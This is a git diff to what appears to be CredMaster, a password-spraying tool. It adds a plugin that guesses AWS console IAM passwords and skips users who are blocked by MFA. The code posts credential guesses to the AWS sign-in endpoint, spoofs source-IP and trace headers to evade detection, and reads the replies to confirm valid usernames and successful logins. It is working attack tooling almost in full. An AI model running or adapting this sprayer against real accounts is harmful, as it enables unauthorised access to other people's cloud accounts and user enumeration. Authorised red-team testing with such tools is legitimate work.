diff --git a/credmaster.py b/credmaster.py index a0884d2..676c846 100755 --- a/credmaster.py +++ b/credmaster.py @@ -34,6 +34,8 @@ def __init__(self, args, pargs): self.notify_obj = {} + self.usernames_exclude = [] + self.clean = args.clean self.api_destroy = args.api_destroy self.api_list = args.api_list @@ -535,35 +537,40 @@ def spray_thread(self, api_key, api_dict, pluginargs): self.jitter_min = 0 time.sleep(random.randint(self.jitter_min,self.jitter)) - response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) + if cred["username"] not in self.usernames_exclude: + + response = plugin_authentiate(api_dict["proxy_url"], cred["username"], cred["password"], cred["useragent"], pluginargs) - # if "debug" in response.keys(): - # print(response["debug"]) + if response["error"]: + self.log_entry(f"ERROR: {api_key}: {cred['username']} - {response['output']}") - if response["error"]: - self.log_entry(f"ERROR: {api_key}: {cred['username']} - {response['output']}") + if response["result"].lower() == "success" and ("userenum" not in pluginargs): + self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) + notify.notify_success(cred["username"], cred["password"], self.notify_obj) + self.log_success(cred["username"], cred["password"]) - if response["result"].lower() == "success" and ("userenum" not in pluginargs): - self.results.append( {"username" : cred["username"], "password" : cred["password"]} ) - notify.notify_success(cred["username"], cred["password"], self.notify_obj) - self.log_success(cred["username"], cred["password"]) + if response["result"].lower() == "aws_mfa_blocked": + self.usernames_exclude.append(cred["username"]) - if response["valid_user"] or response["result"] == "success": - self.log_valid(cred["username"], self.plugin) + if response["valid_user"] or response["result"] == "success": + self.log_valid(cred["username"], self.plugin) - if self.color: + if self.color: - if response["result"].lower() == "success": - self.log_entry(utils.prGreen(f"{api_key}: {response['output']}")) + if response["result"].lower() == "success": + self.log_entry(utils.prGreen(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "potential": - self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "potential": + self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) + + elif response["result"].lower() == "aws_mfa_blocked": + self.log_entry(utils.prYellow(f"{api_key}: {response['output']}")) - elif response["result"].lower() == "failure": - self.log_entry(utils.prRed(f"{api_key}: {response['output']}")) + elif response["result"].lower() == "failure": + self.log_entry(utils.prRed(f"{api_key}: {response['output']}")) - else: - self.log_entry(f"{api_key}: {response['output']}") + else: + self.log_entry(f"{api_key}: {response['output']}") self.q_spray.task_done() except Exception as ex: diff --git a/plugins/aws/__init__.py b/plugins/aws/__init__.py new file mode 100644 index 0000000..8d8c582 --- /dev/null +++ b/plugins/aws/__init__.py @@ -0,0 +1,51 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +def validate(pluginargs, args): + # + # Plugin Args + # + # --account --> Account you are targeting + # --aws_region_spray --> region to target + # --root -> Trying signing in with the root credentials + + if 'account' not in pluginargs.keys(): + error = "Missing url argument, specify as --account " + return False, error, None + + if 'aws_region_spray' in pluginargs.keys(): + + region_spray = pluginargs['aws_region_spray'] + pluginargs["url"] = f"https://{region_spray}.signin.aws.amazon.com" + + else: + # Default to us-east-1 if not supplied + pluginargs["url"] = f"https://us-east-1.signin.aws.amazon.com" + + + return True, None, pluginargs + +def testconnect(pluginargs, args, api_dict, useragent): + + url = api_dict['proxy_url'] + + success = True + headers = { + 'User-Agent' : useragent, + "X-My-X-Forwarded-For" : utils.generate_ip(), + "x-amzn-apigateway-api-id" : utils.generate_id(), + "X-My-X-Amzn-Trace-Id" : utils.generate_trace_id(), + } + + headers = utils.add_custom_headers(pluginargs, headers) + + resp = requests.get(api_dict['proxy_url'], headers=headers, verify=False) + + if resp.status_code == 504: + output = "Testconnect: Connection failed, endpoint timed out, exiting" + success = False + else: + output = "Testconnect: Connection success, continuing" + + return success, output, pluginargs diff --git a/plugins/aws/aws.py b/plugins/aws/aws.py new file mode 100644 index 0000000..51216e2 --- /dev/null +++ b/plugins/aws/aws.py @@ -0,0 +1,134 @@ +import requests +import utils.utils as utils +requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) + +# Lockout Risks +# Ref: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_passwords_account-policy.html +# You can't create a "lockout policy" to lock a user out of the account after a specified number of failed sign-in attempts. +# TODO: Would be great if there was a way to designate in usernames file which usernames go with which account for multi-accounts + +def aws_authenticate(url, username, password, useragent, pluginargs): + + + target_account = pluginargs["account"] + + sign_in_url = f"{url}/authenticate" + + spoofed_ip = utils.generate_ip() + amazon_id = utils.generate_id() + trace_id = utils.generate_trace_id() + + headers = { + "X-My-X-Forwarded-For" : spoofed_ip, + "x-amzn-apigateway-api-id" : amazon_id, + "X-My-X-Amzn-Trace-Id" : trace_id, + "User-Agent" : useragent, + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + } + + headers = utils.add_custom_headers(pluginargs, headers) + + post_params = { + "account": target_account, + "action": "iam-user-authentication", + "client_id": "arn:aws:signin:::console/canvas", + "username": username, + "password": password, + "redirect_uri": "https://console.aws.amazon.com/console", + "rememberAccount": "false", + "rememberMfa": "false" + } + + # data returned + data_response = { + 'result' : None, # Can be "success", "failure", "throttle", "aws_mfa_blocked" + 'error' : False, + 'output' : "", + 'valid_user' : False + } + + try: + + # proxies = { + # "http": "http://127.0.0.1:8080", + # "https": "http://127.0.0.1:8080", + # } + http_output = requests.post(f"{sign_in_url}", headers=headers, data=post_params) #, proxies=proxies, verify=False) + + http_output_json = http_output.json() + + username_to_print = f"arn:aws:iam::{target_account}:user/{username}" + if http_output.status_code == 429: + data_response['result'] = "throttle" + status_code = str(http_output.status_code) + data_response['output'] = f"[-] THROTTLED - {status_code} => {username_to_print}" + + + elif http_output.status_code == 200: + region = pluginargs['aws_region_spray'] + state = http_output_json["state"] + http_output_json_prop = http_output_json["properties"] + result = http_output_json_prop.get("result", "Unknown") + text = http_output_json_prop.get("text", "Unknown") + + if state == "FAIL": + + data_response['result'] = "failure" + + # Console User - MFA - Incorrect Region - Good/Bad Password + # Console User - No MFA - Incorrect Region - Bad/Bad Password + # Note: try passing in something like ca-west-1 when its not enabled in account to see region response + if result == "OPT_IN_REGION_FAILURE": + + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {region} not enabled for account." + + # Console User - No MFA - Correct Region - Bad Password + # Note: Returns redirect link + elif result == "FAILURE": + + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {text}" + + # Console User - Unknown + # Catch-All for unknown use case + else: + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE => {username_to_print}:{password} - {http_output_json}" + + elif state == "SUCCESS": + + # Console User - MFA - Correct Region - Good Password + # Console User - MFA - Correct Region - Bad Password + # Note: Returns MFA if username is correct regardless of what password is + if result == "MFA": + + data_response['result'] = "aws_mfa_blocked" + data_response['output'] = f"[+] MFA RESTRICT: => {username_to_print}:{password} - User exists, but requires MFA. Password cannot be determined. Removing from future guesses" + + # TODO: Not sure if there is a native way in credmaster to remove this user from further guesses? + + # Console User - No MFA - Correct Region - Good Password + # Note: Returns redirect link + elif result == "SUCCESS": + + data_response['result'] = "success" + data_response['output'] = f"[+] SUCCESS => {username_to_print}:{password}" + + # Console User - Unknown + # Success for unknown use case + else: + data_response['result'] = "success" + data_response['output'] = f"[+] UNKNOWN SUCCESS: => {username_to_print}:{password} Success with unknown response." + + # Console User - Unknown + # Catch-All for unknown use case + else: + + data_response['result'] = "failure" + data_response['output'] = f"[-] FAILURE: {http_output.status_code} => Got an error we haven't seen before: {http_output_json_prop}" + + except Exception as ex: + data_response['error'] = True + data_response['output'] = ex + pass + + return data_response \ No newline at end of file